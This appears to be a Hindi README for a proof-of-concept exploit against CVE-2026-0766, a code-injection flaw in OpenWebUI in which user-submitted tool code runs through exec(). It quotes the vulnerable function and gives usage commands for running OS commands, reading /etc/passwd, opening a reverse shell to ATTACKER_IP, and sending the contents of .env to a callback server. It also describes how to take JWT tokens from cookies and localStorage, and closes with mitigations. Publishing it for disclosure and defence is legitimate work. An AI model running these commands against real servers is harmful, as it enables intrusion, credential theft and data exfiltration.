
CVE-2026-0766 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो OpenWebUI में टूल कोड इंजेक्शन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। इसमें कमांड एक्ज़ीक्यूशन, फ़ाइल रीड, रिवर्स शेल, और ब्लाइंड एक्सफ़िल्ट्रेशन मोड शामिल हैं।
शैक्षिक सुरक्षा अनुसंधान रिपॉजिटरी
इस रिपॉजिटरी में CVE-2026-0766 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण कोड शामिल है, जो OpenWebUI में एक रिमोट कोड निष्पादन भेद्यता है, जिसे Zero Day Initiative (ZDI) द्वारा खोजा और प्रकाशित किया गया है।
यह रिपॉजिटरी केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है।
लेखक इस कोड के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। उपयोगकर्ता यह सुनिश्चित करने के लिए पूरी तरह जिम्मेदार हैं कि उनकी गतिविधियाँ सभी लागू कानूनों और विनियमों का अनुपालन करती हैं।
| गुण | मान |
|---|
| CVE ID | CVE-2026-0766 |
| द्वारा खोजा गया | Zero Day Initiative (ZDI) |
| प्रभावित सॉफ़्टवेयर | OpenWebUI |
| भेद्यता प्रकार | कोड इंजेक्शन (CWE-94) |
| CVSS स्कोर | 8.8 उच्च |
| CVSS वेक्टर | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| हमले की जटिलता | कम (प्रमाणित व्यवस्थापक या टूल निर्माण/अद्यतन करने वाला उपयोगकर्ता शोषण कर सकता है) |
OpenWebUI बड़े भाषा मॉडलों के लिए एक स्व-होस्टेड वेब इंटरफ़ेस है। यह ChatGPT जैसा अनुभव प्रदान करता है जिसे संगठन अपने स्वयं के बुनियादी ढांचे पर चला सकते हैं, LLM वार्तालापों और डेटा को ऑन-प्रिमाइसेस रखते हुए।
OpenWebUI में एक "टूल्स" सुविधा शामिल है जो उपयोगकर्ताओं को Python कोड सबमिट करके LLM क्षमताओं का विस्तार करने की अनुमति देती है। यह कोड Python के exec() फ़ंक्शन के माध्यम से सर्वर-साइड पर बिना किसी सैंडबॉक्सिंग, सत्यापन या सुरक्षा नियंत्रण के निष्पादित किया जाता है।
शोषण प्रवाह:
POST /api/v1/tools/create के माध्यम से एक "टूल" बनाता हैcontent फ़ील्ड में संग्रहीत किया जाता हैutils/plugin.py में exec(content, module.__dict__) को कॉल करता हैमुख्य अंतर्दृष्टि: कोड टूल निर्माण के समय निष्पादित होता है, न कि जब LLM टूल को आमंत्रित करता है। इसका मतलब है कि केवल एक दुर्भावनापूर्ण टूल बनाना RCE को ट्रिगर करता है - आगे किसी इंटरैक्शन की आवश्यकता नहीं है।
यह शोषण निम्न पर सत्यापित किया गया है:
भेद्यता स्थापत्य है (उपयोगकर्ता इनपुट पर exec() का असुरक्षित उपयोग) और OpenWebUI टीम द्वारा सुरक्षा पैच जारी होने तक सभी संस्करणों में मौजूद है।
भेद्यता backend/open_webui/utils/plugin.py में मौजूद है:
def load_tool_module_by_id(tool_id: str, content: str):
# न्यूनतम प्रीप्रोसेसिंग (सुरक्षा नियंत्रण नहीं)
content = replace_imports(content)
# मॉड्यूल बनाएं और उपयोगकर्ता कोड निष्पादित करें
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← भेद्यता
return module
replace_imports() फ़ंक्शन केवल आयात पथों को फिर से लिखता है (कॉस्मेटिक) - यह प्रतिबंधित नहीं करता कि कौन सा कोड निष्पादित हो सकता है। यहाँ है:
OpenWebUI टीम ने शुरू में इसे कम-प्राथमिकता के रूप में मूल्यांकन किया, यह देखते हुए कि टूल निर्माण के लिए व्यवस्थापक अनुमतियों की आवश्यकता होती है। हालाँकि:
विक्रेता द्वारा व्यवस्थापक को प्रतिबंधित पहुंच के साथ इसे प्रबंधित करने का प्रस्ताव देने के बाद, ZDI ने इसे 0-दिन भेद्यता के रूप में प्रकाशित किया है (ZDI-26-032) रक्षकों को सूचित करने के लिए।
लेखक ओपन-सोर्स परियोजनाओं को बनाए रखने की चुनौतियों का सम्मान करता है। सुरक्षा पैचिंग के लिए उपयोगकर्ता आवश्यकताओं, स्थापत्य बाधाओं और सीमित संसाधनों को संतुलित करने की आवश्यकता होती है। यह प्रकाशन सुरक्षा टीमों को जोखिम का आकलन करने और शमन लागू करने में मदद करने के उद्देश्य से है।
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
शोषण स्क्रिप्ट (exploit.py) कई हमले मोड का समर्थन करती है:
OS कमांड निष्पादित करें और आउटपुट प्राप्त करें:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
सर्वर फ़ाइल सिस्टम से फ़ाइलें पढ़ें:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
रिवर्स शेल स्पॉन करें (netcat लिसनर की आवश्यकता है):
# हमलावर मशीन पर:
nc -lvnp 4444
# शोषण चलाएँ:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
कमांड आउटपुट को HTTP कॉलबैक सर्वर पर भेजें:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
स्क्रिप्ट JWT टोकन (SSO लॉगिन से) और API कुंजी दोनों स्वीकार करती है:
JWT टोकन प्राप्त करना:
token कुकी मान देखेंAuthorization: Bearer ... हेडर कॉपी करेंlocalStorage.getItem("token") चलाएँ--token eyJhbGci...यदि आप OpenWebUI चलाते हैं और तुरंत पैच नहीं कर सकते:
exec() को सुरक्षित विकल्प से बदलें:
RestrictedPython का उपयोग करेंअनुमति जाँच जोड़ें:
गहराई में रक्षा:
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें।
यह कोड शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान किया गया है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।
यह भेद्यता जिम्मेदारी से प्रकट की गई थी:
यदि आप ओपन-सोर्स परियोजनाओं में सुरक्षा भेद्यताएँ खोजते हैं, तो कृपया जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें और सार्वजनिक प्रकटीकरण से पहले रखरखावकर्ताओं को पैच करने का समय दें।
प्रश्नों या प्रतिक्रिया के लिए: इस रिपॉजिटरी में एक मुद्दा खोलें।